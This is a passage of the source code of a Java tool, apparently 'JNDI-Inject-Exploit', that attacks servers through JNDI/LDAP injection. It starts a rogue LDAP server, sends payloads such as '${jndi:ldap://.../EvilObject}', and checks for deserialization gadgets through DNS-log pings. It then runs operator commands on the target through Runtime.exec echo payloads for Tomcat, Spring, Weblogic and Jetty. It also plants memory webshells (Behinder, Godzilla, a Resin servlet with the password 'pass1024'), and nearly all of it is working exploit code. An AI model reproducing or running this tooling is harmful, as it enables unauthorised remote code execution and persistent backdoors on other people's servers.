| String code = String.format("String payload = \"%s\";\n" + 42 | " String version = System.getProperty(\"java.version\");\n" + 43 | " byte[] bytecodes;\n" + 44 | "\n" + 45 | " try {\n" + 46 | " if (version.compareTo(\"1.9\") >= 0) {\n" + 47 | " Class base64 = Class.forName(\"java.util.Base64\");\n" + 48 | " Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);\n" + 49 | " java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" + 50 | " java.lang.reflect.Method decode = null;\n" + 51 | " for (int i = 0; i < methods.length; i++) {\n" + 52 | " java.lang.reflect.Method method = methods[i];\n" + 53 | " if (method.getName().equals(\"decode\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + 54 | " decode = method;\n" + 55 | " }\n" + 56 | " }\n" + 57 | " bytecodes = (byte[]) decode.invoke(decoder, new Object[]{payload});\n" + 58 | " } else {\n" + 59 | " Class base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n" + 60 | " Object decoder = base64.newInstance();\n" + 61 | " java.lang.reflect.Method[] methods = decoder.getClass().getMethods();\n" + 62 | " java.lang.reflect.Method decodeBuffer = null;\n" + 63 | " for (int i = 0; i < methods.length; i++) {\n" + 64 | " java.lang.reflect.Method method = methods[i];\n" + 65 | " if (method.getName().equals(\"decodeBuffer\") && method.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + 66 | " decodeBuffer = method;\n" + 67 | " }\n" + 68 | " }\n" + 69 | " bytecodes = (byte[]) decodeBuffer.invoke(decoder, new Object[]{payload});\n" + 70 | " }\n" + 71 | "\n" + 72 | " java.lang.reflect.Method[] methods = ClassLoader.class.getDeclaredMethods();\n" + 73 | " java.lang.reflect.Method defineClassMethod = null;\n" + 74 | " for (int i = 0; i < methods.length; i++) {\n" + 75 | " java.lang.reflect.Method method = methods[i];\n" + 76 | " if (method.getName().equals(\"defineClass\") && method.getParameterTypes().length == 3) {\n" + 77 | " defineClassMethod = method;\n" + 78 | " break;\n" + 79 | " }\n" + 80 | " }\n" + 81 | " defineClassMethod.setAccessible(true);\n" + 82 | " Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n" + 83 | " java.lang.reflect.Constructor[] constructors = cc.getConstructors();\n" + 84 | " java.lang.reflect.Constructor c = null;\n" + 85 | " for (int i = 0; i < constructors.length; i++) {\n" + 86 | " java.lang.reflect.Constructor constructor = constructors[i];\n" + 87 | " if (constructor.getParameterCount() == 1 && constructor.getParameterTypes()[0].getName().equals(\"java.lang.String\")) {\n" + 88 | " c = constructor;\n" + 89 | " }\n" + 90 | " }\n" + 91 | " c.newInstance(new Object[]{\"%s\"});\n" + 92 | " } catch (Exception e) {\n" + 93 | " e.printStackTrace();\n" + 94 | " }", payload, bytecodes); 95 | return code; 96 | } 97 | 98 | private String resinMemoryShell(String name) { 99 | String payload = renameClass("User", name + ".class"); 100 | String code = String.format("try {\n" + 101 | " Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" + 102 | " java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" + 103 | " javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" + 104 | " com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" + 105 | " javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" + 106 | " java.io.PrintWriter out = rep.getWriter();" + 107 | " javax.servlet.http.HttpSession session = req.getSession();\n" + 108 | " String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" + 109 | " String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" + 110 | "\n" + 111 | " java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" + 112 | " Object web =getServletContext.invoke(contextRequest);\n" + 113 | "\n" + 114 | " com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" + 115 | "\n" + 116 | " com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" + 117 | "\n" + 118 | " String s1=\"%s\";" + 119 | " byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" + 120 | "\n" + 121 | " java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" + 122 | " m.setAccessible(true);\n" + 123 | " m.setAccessible(true);\n" + 124 | " m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" + 125 | " session.setAttribute(\"u\", pwd);\n" + 126 | " smapping.setServletClass(\"%s\");\n" + 127 | " smapping.setServletName(\"%s\");\n" + 128 | " smapping.addURLPattern(path);\n" + 129 | " web1.addServletMapping(smapping);\n" + 130 | " out.println(\"->|Success|<-\");" + 131 | "} catch (Exception e) {\n" + 132 | " e.printStackTrace();\n" + 133 | "}", payload, className, className, className); 134 | 135 | return code; 136 | } 137 | 138 | private String renameClass(String prefix, String resourceName) { 139 | String bytecodes = ""; 140 | ClassPool pool = ClassPool.getDefault(); 141 | InputStream is = this.getClass().getResourceAsStream("/" + resourceName); 142 | if (is == null) { 143 | return ""; 144 | } 145 | 146 | try { 147 | CtClass ctClass = pool.makeClass(is); 148 | className = prefix + System.nanoTime(); 149 | ctClass.setName(className); 150 | byte[] bytes = ctClass.toBytecode(); 151 | bytecodes = Base64.getEncoder().encodeToString(bytes); 152 | } catch (IOException | CannotCompileException e) { 153 | e.printStackTrace(); 154 | } 155 | 156 | return bytecodes; 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/StartUp.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer; 2 | 3 | import io.github.exp1orer.server.LDAPServer; 4 | import io.github.exp1orer.util.*; 5 | 6 | import java.io.IOException; 7 | import java.net.InetSocketAddress; 8 | import java.net.Proxy; 9 | import java.util.*; 10 | 11 | /** 12 | * @author SearchNull 13 | */ 14 | public class StartUp { 15 | public static String url; 16 | public static String method; 17 | public static Map headers; 18 | public static String body; 19 | 20 | private static Map options; 21 | private static LDAPServer ldapServer; 22 | private static String ip; 23 | private static int port; 24 | private static String file; 25 | private static Proxy proxy; 26 | private static Scanner sc; 27 | private static String command; 28 | private static String commandResult = ""; 29 | private static boolean runFlag = false; 30 | private static List validGadget = new ArrayList(); 31 | private static Map> validCommandEcho = new HashMap>(); 32 | private static List memoryShell = new ArrayList(); 33 | private static String[] commandEcho = new String[]{ 34 | "directive:LinuxEcho", 35 | "directive:WindowsEcho", 36 | "directive:SpringEcho1", 37 | "directive:SpringEcho2", 38 | // "directive:Tomcat6Echo", 39 | // "directive:Tomcat78Echo", 40 | // "directive:Tomcat9Echo", 41 | "directive:TomcatEcho", 42 | "directive:TomcatEcho2", 43 | "directive:WeblogicEcho1", 44 | "directive:WeblogicEcho2", 45 | "directive:JettyEcho", 46 | "directive:AutoFindRequestEcho", 47 | // "directive:WriteFileEcho", 48 | // "directive:WriteClass" 49 | }; 50 | 51 | public static void main(String[] args) { 52 | Parser parser = new Parser(); 53 | options = parser.parse(args); 54 | 55 | if (options.get("ip") == null || (options.get("url") == null && options.get("file") == null)) { 56 | printUsage(); 57 | System.exit(1); 58 | } else { 59 | initial(); 60 | run(); 61 | System.exit(1); 62 | } 63 | } 64 | 65 | /** 66 | * @description: 初始化操作 67 | * @return void 68 | */ 69 | private static void initial() { 70 | ip = options.get("ip"); 71 | port = Integer.parseInt(options.get("port") == null ? "1389" : options.get("port")); 72 | if (options.get("url") == null && options.get("file") != null) { 73 | file = options.get("file"); 74 | try { 75 | HttpUtil.formatHttp(file); 76 | } catch (IOException ioException) { 77 | System.out.println("请检查 " + file + " 是否存在!"); 78 | ioException.printStackTrace(); 79 | System.exit(1); 80 | } 81 | } else { 82 | url = options.get("url"); 83 | method = options.get("method") == null ? "GET" : options.get("method"); 84 | headers = Parser.parseHeaders(options.get("headers")); 85 | body = options.get("body"); 86 | } 87 | 88 | if (options.get("proxy") != null) { 89 | String[] proxies = options.get("proxy").split(":", 2); 90 | proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); 91 | } 92 | memoryShell.add("TomcatBehinderFilter"); 93 | memoryShell.add("TomcatBehinderServlet"); 94 | memoryShell.add("TomcatGodzillaFilter"); 95 | memoryShell.add("TomcatGodzillaServlet"); 96 | memoryShell.add("TomcatNeoreGeorgFilter"); 97 | memoryShell.add("TomcatNeoreGeorgServlet"); 98 | memoryShell.add("TomcatShortMemShellFilter"); 99 | memoryShell.add("TomcatShortMemShellServlet"); 100 | memoryShell.add("ResinShortMemShellServlet"); 101 | 102 | try { 103 | Class.forName("io.github.exp1orer.util.Config"); 104 | } catch (ClassNotFoundException classNotFoundException) { 105 | classNotFoundException.printStackTrace(); 106 | } 107 | } 108 | 109 | /** 110 | * @description: 打印帮助信息 111 | */ 112 | private static void printUsage() { 113 | System.out.println("JNDI-Inject-Exploit Author:SearchNull\n"); 114 | System.out.println("Usage: \n"); 115 | System.out.println("java -jar JNDI-Inject-Exploit-[version]-all.jar [options]\n" + 116 | "\n" + 117 | "Options:\n" + 118 | " ip LDAP Server IP(如VPS则指定公网IP)\n" + 119 | " port LDAP Server 监听端口,默认为1389\n" + 120 | " url 目标URL,指定headers和body参数可发送完整HTTP请求\n" + 121 | " file 指定HTTP请求数据包的文件,将根据该文件内容构造完整HTTP请求\n" + 122 | " method 指定HTTP请求方法,默认为GET\n" + 123 | " headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value\n" + 124 | " body 指定HTTP请求体内容\n" + 125 | " proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)\n"); 126 | System.out.println("Example: java -jar JNDI-Inject-Exploit-0.3-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\""); 127 | } 128 | 129 | /** 130 | * @description: 打印可用gadget 131 | */ 132 | private static void printGadget() { 133 | for (int i = 0; i < validGadget.size(); i++) { 134 | String payloadType = validGadget.get(i); 135 | if (validCommandEcho.get(payloadType) != null) { 136 | System.out.println(String.format("[%d] %s - %s - %s", i ,payloadType, validCommandEcho.get(payloadType), memoryShell)); 137 | } else if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) { 138 | System.out.println(String.format("[%d] %s - %s", i, payloadType, memoryShell)); 139 | } else { 140 | System.out.println(String.format("[%d] %s", i, payloadType)); 141 | } 142 | } 143 | } 144 | 145 | /** 146 | * @description: 主程序运行 147 | * @return boolean 148 | * @author: SearchNull 149 | */ 150 | private static boolean run() { 151 | int num = 0; 152 | 153 | ldapServer = new LDAPServer(ip, port); 154 | Thread threadldap = new Thread(ldapServer); 155 | threadldap.start(); 156 | // 等待LDAPServer运行 157 | try { 158 | Thread.sleep(2000); 159 | } catch (InterruptedException e) { 160 | e.printStackTrace(); 161 | } 162 | 163 | boolean gadget = checkGadget(ldapServer); 164 | if (gadget) { 165 | boolean result = checkCommandEcho(); 166 | printGadget(); 167 | 168 | while (true) { 169 | sc = new Scanner(System.in); 170 | try { 171 | if (runFlag) { 172 | executeCmd(num); 173 | continue; 174 | } 175 | System.out.println("[+] Please enter the number (0-" + String.valueOf(validGadget.size() - 1) + ")" + ", enter q or quit to quit"); 176 | System.out.print("> "); 177 | String option = sc.nextLine().trim(); 178 | if ("q".equalsIgnoreCase(option) || "quit".equalsIgnoreCase(option)) { 179 | break; 180 | } else { 181 | int n = Integer.parseInt(option); 182 | num = n; 183 | if (n >= 0 && n < validGadget.size()) { 184 | runFlag = true; 185 | executeCmd(n); 186 | } 187 | } 188 | } catch (IOException ioException) { 189 | ioException.printStackTrace(); 190 | } 191 | } 192 | } else { 193 | System.out.println("[-] No gadget can be use, quit."); 194 | System.exit(1); 195 | } 196 | 197 | return true; 198 | } 199 | 200 | /** 201 | * @description: 从标准输入获取命令通过反序列化gadget执行 202 | */ 203 | private static void executeCmd(int i) throws IOException { 204 | System.out.println("[+] Please enter command the execute, enter q or quit to quit, enter back to re-choore gadget, enter shell name inject memory shell"); 205 | System.out.print("> "); 206 | command = sc.nextLine().trim(); 207 | if ("q".equalsIgnoreCase(command) || "quit".equalsIgnoreCase(command)) { 208 | System.exit(1); 209 | } else if ("back".equalsIgnoreCase(command)) { 210 | printGadget(); 211 | runFlag = false; 212 | return; 213 | } else if (memoryShell.contains(command)) { 214 | if (validCommandEcho.get(validGadget.get(i)) != null) { 215 | String path, pwd; 216 | LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(i), "code=" + MemoryShell.process(command)); 217 | System.out.print("MemoryShell path (default: /favicondemo.ico)> "); 218 | path = sc.nextLine().trim(); 219 | if (!"NeoreGeorgFilter".equalsIgnoreCase(command) && !"NeoreGeorgServlet".equalsIgnoreCase(command)) { 220 | System.out.print("MemoryShell pwd (default: pass1024) > "); 221 | pwd = sc.nextLine().trim(); 222 | } else { 223 | pwd = "pass1024"; 224 | } 225 | 226 | if (path.length() > 1 && pwd.length() > 1) { 227 | Map tempHeaders = headers; 228 | tempHeaders.put("path", path); 229 | tempHeaders.put("p", pwd); 230 | boolean resp = HttpUtil.connection(url, method, tempHeaders, body, proxy); 231 | } else { 232 | boolean resp = HttpUtil.connection(url, method, headers, body, proxy); 233 | } 234 | 235 | if (HttpUtil.getResponseBody().indexOf("->|Success|<-") != -1) { 236 | System.out.println("[+] Memory shell inject success"); 237 | } 238 | } 239 | return; 240 | } 241 | 242 | boolean commandExecuteStatus = runCommand(i, command); 243 | if (commandExecuteStatus && !"".equals(commandResult)) { 244 | System.out.println(commandResult); 245 | commandResult = ""; 246 | } 247 | } 248 | 249 | /** 250 | * @description: 检测Gadget 251 | * @param ldapServer LDAPServer对象 252 | * @return boolean 253 | * @author: SearchNull 254 | */ 255 | private static boolean checkGadget(LDAPServer ldapServer) { 256 | Map tempRecord = new HashMap(); 257 | String dnslog; 258 | for (String gadget : ldapServer.gadgets) { 259 | System.out.println("[*] Check " + gadget); 260 | dnslog = Dnslog.getRandomDomain(4); 261 | LDAPServer.serializedData = GeneratePayload.getPayload(gadget, "ping -nc 1 " + dnslog); 262 | tempRecord.put(dnslog, gadget); 263 | boolean resp = HttpUtil.connection(url, method, headers, body, proxy); 264 | } 265 | // 等待Dnslog平台响应 266 | try { 267 | Thread.sleep(Dnslog.sleep * 1000); 268 | } catch (InterruptedException e) { 269 | e.printStackTrace(); 270 | } 271 | 272 | for (String domain : tempRecord.keySet()) { 273 | boolean record = Dnslog.getRecord(domain); 274 | if (record) { 275 | ldapServer.gadgetFlag = true; 276 | validGadget.add(tempRecord.get(domain)); 277 | } 278 | } 279 | 280 | return ldapServer.gadgetFlag; 281 | } 282 | 283 | /** 284 | * @description: 检测命令回显 285 | * @return boolean 286 | * @author: SearchNull 287 | */ 288 | private static boolean checkCommandEcho() { 289 | String respContent; 290 | String uuid = UUID.randomUUID().toString(); 291 | String command = "echo " + uuid; 292 | if (headers == null) { 293 | headers = new HashMap(); 294 | headers.put("cmd", command); 295 | } else { 296 | headers.put("cmd", command); 297 | } 298 | 299 | for (int i = 0; i < validGadget.size(); i++) { 300 | List validCommandEchoType = new ArrayList(); 301 | String payloadType = validGadget.get(i); 302 | System.out.println("[+] Can be use " + payloadType); 303 | if (LDAPServer.gadgetType.get("codeExecute").contains(payloadType)) { 304 | System.out.println("[*] Check command echo"); 305 | for (String commandType : commandEcho) { 306 | System.out.println("[*] Check " + commandType.split(":")[1]); 307 | if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) { 308 | commandType += ":" + command; 309 | } 310 | String code = "code=" + CommandEcho.process(commandType); 311 | LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, code); 312 | 313 | boolean resp = HttpUtil.connection(url, method, headers, body, proxy); 314 | try { 315 | respContent = HttpUtil.getResponseBody(); 316 | if (respContent.contains(uuid)) { 317 | ldapServer.echoFlag = true; 318 | validCommandEchoType.add(commandType.split(":")[1]); 319 | } 320 | } catch (IOException io) { 321 | io.printStackTrace(); 322 | } 323 | } 324 | 325 | if (ldapServer.echoFlag && validCommandEchoType.size() > 0) { 326 | validCommandEcho.put(payloadType, validCommandEchoType); 327 | } 328 | 329 | } 330 | } 331 | 332 | return ldapServer.echoFlag; 333 | } 334 | 335 | /** 336 | * @description: 指定Gadget执行命令 337 | * @param index validGadget索引 338 | * @param command 执行的命令 339 | * @return boolean 340 | * @author: SearchNull 341 | */ 342 | private static boolean runCommand(int index, String command) { 343 | String respContent; 344 | if (headers == null) { 345 | headers = new HashMap(); 346 | } 347 | if (validCommandEcho.get(validGadget.get(index)) != null) { 348 | List commandEchoType = validCommandEcho.get(validGadget.get(index)); 349 | String flagStr1 = Parser.getRandomStr(10); 350 | String flagStr2 = Parser.getRandomStr(10); 351 | String cmd = String.format("echo %s && %s && echo %s", flagStr1, command, flagStr2); 352 | headers.put("cmd", cmd); 353 | 354 | for (int i = 0; i < commandEchoType.size(); i++) { 355 | String commandType = "directive:" + commandEchoType.get(i); 356 | if (commandType.startsWith("directive:LinuxEcho") || commandType.startsWith("directive:WindowsEcho") || commandType.startsWith("directive:WeblogicEcho2") || commandType.startsWith("directive:WriteFileEcho")) { 357 | commandType += ":" + cmd; 358 | } 359 | String code = "code=" + CommandEcho.process(commandType); 360 | LDAPServer.serializedData = GeneratePayload.getPayload(validGadget.get(index), code); 361 | boolean resp = HttpUtil.connection(url, method, headers, body, proxy); 362 | try { 363 | respContent = HttpUtil.getResponseBody(); 364 | if (respContent.contains(flagStr1) && respContent.contains(flagStr2)) { 365 | commandResult = respContent.substring(respContent.indexOf(flagStr1) + flagStr1.length(), respContent.indexOf(flagStr2)); 366 | break; 367 | } 368 | } catch (IOException io) { 369 | io.printStackTrace(); 370 | } 371 | } 372 | } else if (validGadget.get(index) != null) { 373 | String payloadType = validGadget.get(index); 374 | LDAPServer.serializedData = GeneratePayload.getPayload(payloadType, command); 375 | boolean resp = HttpUtil.connection(url, method, headers, body, proxy); 376 | if (resp) { 377 | return true; 378 | } 379 | } else { 380 | return false; 381 | } 382 | 383 | return true; 384 | } 385 | } -------------------------------------------------------------------------------- /src/main/java/io/github/exp1orer/util/CommandEcho.java: -------------------------------------------------------------------------------- 1 | package io.github.exp1orer.util; 2 | 3 | import java.io.*; 4 | import java.util.Arrays; 5 | import sun.misc.BASE64Decoder; 6 | import sun.misc.BASE64Encoder; 7 | 8 | public class CommandEcho { 9 | public static String process(String command){ 10 | if(command == null || "".equals(command.trim())){ 11 | return ""; 12 | } 13 | 14 | command = command.trim(); 15 | if(command.startsWith("directive:sleep")){ 16 | long time = Long.parseLong(command.split(":", 3)[2]); 17 | return sleep(time); 18 | }else if(command.startsWith("directive:LinuxEcho")){ 19 | return linuxEcho(command); 20 | }else if(command.startsWith("directive:WindowsEcho")){ 21 | return windowsEcho(command); 22 | }else if(command.startsWith("directive:SpringEcho1")){ 23 | return springEcho1(); 24 | }else if(command.startsWith("directive:SpringEcho2")){ 25 | return springEcho2(); 26 | }else if(command.startsWith("directive:Tomcat6Echo")) { 27 | return tomcat6Echo(); 28 | }else if(command.startsWith("directive:Tomcat78Echo")) { 29 | return tomcat78Echo(); 30 | }else if(command.startsWith("directive:Tomcat9Echo")) { 31 | return tomcat9Echo(); 32 | }else if(command.startsWith("directive:TomcatEcho")){ 33 | return tomcatEcho(); 34 | }else if(command.startsWith("directive:TomcatEcho2")) { 35 | return tomcatEcho2(); 36 | }else if(command.startsWith("directive:WeblogicEcho1")){ 37 | return weblogicEcho1(); 38 | }else if(command.startsWith("directive:WeblogicEcho2")){ 39 | return weblogicEcho2(command); 40 | }else if(command.startsWith("directive:ResinEcho")){ 41 | return resinEcho(); 42 | }else if(command.startsWith("directive:JettyEcho")){ 43 | return jettyEcho(); 44 | }else if(command.startsWith("directive:AutoFindRequestEcho")){ 45 | return autoFindRequestEcho(); 46 | }else if(command.startsWith("directive:WriteFileEcho")){ 47 | return wirteFileEcho(command); 48 | }else if(command.startsWith("directive:WriteClass")){ 49 | return writeClass(Integer.parseInt(command.split(":",3)[2])); 50 | } else if(command.startsWith("directive:Shell")){ 51 | return shell(command); 52 | }else{ 53 | return "java.lang.Runtime.getRuntime().exec(\"" + 54 | command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + 55 | "\");"; 56 | } 57 | } 58 | 59 | public static String sleep(long seconds){ 60 | long time = seconds * 1000; 61 | String code = "java.lang.Thread.sleep((long)" + time + ");"; 62 | return code; 63 | } 64 | 65 | public static String linuxEcho(String command){ 66 | String cmd = command.split(":", 3)[2]; 67 | cmd = cmd.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); 68 | 69 | String code = " if(java.io.File.separator.equals(\"/\")){\n" + 70 | " String command = \"ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\\\"[\\\"}''{print $2}'|sed 's/.$//'\";\n" + 71 | " String[] cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" + 72 | " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" + 73 | " java.util.List res1 = new java.util.ArrayList();\n" + 74 | " String line = \"\";\n" + 75 | " while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" + 76 | " res1.add(line);\n" + 77 | " }\n" + 78 | " br.close();\n" + 79 | "\n" + 80 | " try {\n" + 81 | " Thread.sleep((long)2000);\n" + 82 | " } catch (InterruptedException e) {\n" + 83 | " //pass\n" + 84 | " }\n" + 85 | "\n" + 86 | " command = \"ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'\";\n" + 87 | " cmd = new String[]{\"/bin/sh\", \"-c\", command};\n" + 88 | " br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));\n" + 89 | " java.util.List res2 = new java.util.ArrayList();\n" + 90 | " while ((line = br.readLine()) != null && !line.trim().isEmpty()){\n" + 91 | " res2.add(line);\n" + 92 | " }\n" + 93 | " br.close();\n" + 94 | "\n" + 95 | " int index = 0;\n" + 96 | " int max = 0;\n" + 97 | " for(int i = 0; i < res2.size(); i++){\n" + 98 | " try{\n" + 99 | " String socketNo = ((String)res2.get(i)).split(\"\\\\s+\")[1].substring(8);\n" + 100 | " socketNo = socketNo.substring(0, socketNo.length() - 1);\n" + 101 | " for(int j = 0; j < res1.size(); j++){\n" + 102 | " if(!socketNo.equals(res1.get(j))) continue;\n" + 103 | "\n" + 104 | " if(Integer.parseInt(socketNo) > max) {\n" + 105 | " max = Integer.parseInt(socketNo);\n" + 106 | " index = j;\n" + 107 | " }\n" + 108 | " break;\n" + 109 | " }\n" + 110 | " }catch(Exception e){\n" + 111 | " //pass\n" + 112 | " }\n" + 113 | " }\n" + 114 | "\n" + 115 | " int fd = Integer.parseInt(((String)res2.get(index)).split(\"\\\\s\")[0]);\n" + 116 | " java.lang.reflect.Constructor c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});\n" + 117 | " c.setAccessible(true);\n" + 118 | " cmd = new String[]{\"/bin/sh\", \"-c\", \"" + cmd + "\"};\n" + 119 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 120 | " String result = \"HTTP/1.1 200 OK\\nConnection: close\\nContent-Length: \" + res.length() + \"\\n\\n\" + res + \"\\n\";\n" + 121 | " java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)}));\n" + 122 | " os.write(result.getBytes());\n" + 123 | " }"; 124 | 125 | return code; 126 | } 127 | 128 | public static String springEcho1(){ 129 | String code = " java.lang.reflect.Method method = Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"getRequestAttributes\", null);\n" + 130 | " Object requestAttributes = method.invoke(null,null);\n" + 131 | "\n" + 132 | " method = requestAttributes.getClass().getMethod(\"getRequest\", null);\n" + 133 | " Object request = method.invoke(requestAttributes , null);\n" + 134 | "\n" + 135 | " method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + 136 | " String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" + 137 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 138 | "\n" + 139 | " method = requestAttributes.getClass().getMethod(\"getResponse\", null);\n" + 140 | " Object response = method.invoke(requestAttributes , null);\n" + 141 | "\n" + 142 | " method = response.getClass().getMethod(\"getWriter\", null);\n" + 143 | " java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" + 144 | " printWriter.println(res);"; 145 | 146 | return code; 147 | } 148 | 149 | public static String springEcho2(){ 150 | String code = "java.lang.reflect.Method method = Class.forName(\"org.springframework.webflow.context.ExternalContextHolder\").getMethod(\"getExternalContext\", null);\n" + 151 | " Object servletExternalContext = method.invoke(null,null);\n" + 152 | "\n" + 153 | " method = servletExternalContext.getClass().getMethod(\"getNativeRequest\", null);\n" + 154 | " Object request = method.invoke(servletExternalContext , null);\n" + 155 | "\n" + 156 | " method = request.getClass().getMethod(\"getHeader\", new Class[]{String.class});\n" + 157 | " String cmd = (String) method.invoke(request, new Object[]{\"cmd\"});\n" + 158 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 159 | "\n" + 160 | " method = servletExternalContext.getClass().getMethod(\"getNativeResponse\", null);\n" + 161 | " Object response = method.invoke(servletExternalContext , null);\n" + 162 | "\n" + 163 | " method = response.getClass().getMethod(\"getWriter\", null);\n" + 164 | " java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(response, null);\n" + 165 | " printWriter.println(res);"; 166 | 167 | return code; 168 | } 169 | 170 | public static String tomcat6Echo() { 171 | String code = "Object obj = Thread.currentThread();\n" + 172 | " java.lang.reflect.Field field = obj.getClass().getDeclaredField(\"target\");\n" + 173 | " field.setAccessible(true);\n" + 174 | " obj = field.get(obj);\n" + 175 | "\n" + 176 | " field = obj.getClass().getDeclaredField(\"this$0\");\n" + 177 | " field.setAccessible(true);\n" + 178 | " obj = field.get(obj);\n" + 179 | "\n" + 180 | " field = obj.getClass().getDeclaredField(\"handler\");\n" + 181 | " field.setAccessible(true);\n" + 182 | " obj = field.get(obj);\n" + 183 | "\n" + 184 | " field = obj.getClass().getDeclaredField(\"global\");\n" + 185 | " field.setAccessible(true);\n" + 186 | " obj = field.get(obj);\n" + 187 | "\n" + 188 | " field = obj.getClass().getDeclaredField(\"processors\");\n" + 189 | " field.setAccessible(true);\n" + 190 | " obj = field.get(obj);\n" + 191 | "\n" + 192 | "\n" + 193 | " java.util.List processors = (java.util.List) obj;\n" + 194 | " for (Object o : processors) {\n" + 195 | " field = o.getClass().getDeclaredField(\"req\");\n" + 196 | " field.setAccessible(true);\n" + 197 | " obj = field.get(o);\n" + 198 | " org.apache.coyote.Request req = (org.apache.coyote.Request) obj;\n" + 199 | "\n" + 200 | " java.lang.String cmd = req.getHeader(\"cmd\");\n" + 201 | " if (cmd != null) {\n" + 202 | " String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next();\n" + 203 | " org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();\n" + 204 | " bc.setBytes(res.getBytes(), 0, res.getBytes().length);\n" + 205 | " req.getResponse().doWrite(bc);\n" + 206 | " }\n" + 207 | " }"; 208 | 209 | return code; 210 | } 211 | 212 | public static String tomcat78Echo() { 213 | String code = "Object obj = Thread.currentThread();\n" + 214 | " java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField(\"group\");\n" + 215 | " field.setAccessible(true);\n" + 216 | " obj = field.get(obj);\n" + 217 | "\n" + 218 | " field = obj.getClass().getDeclaredField(\"threads\");\n" + 219 | " field.setAccessible(true);\n" + 220 | " obj = field.get(obj);\n" + 221 | "\n" + 222 | " Thread[] threads = (Thread[])obj;\n" + 223 | " label:for(Thread thread : threads){\n" + 224 | " try{\n" + 225 | " if((thread.getName().contains(\"http-apr\") && thread.getName().contains(\"Poller\"))\n" + 226 | " || (thread.getName().contains(\"http-bio\") && thread.getName().contains(\"AsyncTimeout\"))\n" + 227 | " || (thread.getName().contains(\"http-nio\") && thread.getName().contains(\"Poller\"))) {\n" + 228 | " field = thread.getClass().getDeclaredField(\"target\");\n" + 229 | " field.setAccessible(true);\n" + 230 | " obj = field.get(thread);\n" + 231 | "\n" + 232 | " field = obj.getClass().getDeclaredField(\"this$0\");\n" + 233 | " field.setAccessible(true);\n" + 234 | " obj = field.get(obj);\n" + 235 | "\n" + 236 | " try{\n" + 237 | " field = obj.getClass().getDeclaredField(\"handler\");\n" + 238 | " }catch (NoSuchFieldException e){\n" + 239 | " field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(\"handler\");\n" + 240 | " }\n" + 241 | " field.setAccessible(true);\n" + 242 | " obj = field.get(obj);\n" + 243 | "\n" + 244 | " try{\n" + 245 | " field = obj.getClass().getSuperclass().getDeclaredField(\"global\");\n" + 246 | " }catch(NoSuchFieldException e){\n" + 247 | " field = 